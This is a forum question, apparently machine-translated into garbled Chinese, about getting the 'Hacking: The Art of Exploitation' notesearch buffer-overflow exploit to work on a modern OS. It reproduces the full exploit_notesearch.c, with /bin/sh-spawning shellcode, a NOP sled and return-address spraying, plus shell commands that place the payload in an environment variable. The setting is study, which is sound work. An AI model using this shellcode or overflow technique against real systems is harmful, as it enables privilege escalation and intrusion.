我通过 黑客的剥削 和我跑进我的第一个障碍,试图得到一个已知的工作利用运行从书通过环境变量。 所有程序被编制 -fno-stack-protector -zexecstack -no-pie -fno-pie
.
运行 exploit_notesearch.c
(尽管有一个非常特定的偏移量),我能够得到利用的弹壳通过移动偏移量 argv[1]
. 这适用于操作系统的现代化(与ASLR残疾),以及引入与书。
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
另外,在该章中,我们设置的攻击载荷要环境变量,并试图重定向流到地上堆栈里的攻击载荷的环境变量集中通过附加NOP雪橇。 但是,这从未执行该利用现代化的操作系统,但工作只是现在Ubuntu的7.04活CD带来的书。 shellcode.bin
是的攻击载荷的顶部 exploit_notesearch.c
文件跑了 echo -en
重定向到的文件。
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
是什么会在这里已经改变之间的旧操作系统的和现代的? 是有一个保护我不知道,是防止自也能NOP雪橇到攻击载荷?
谢谢你。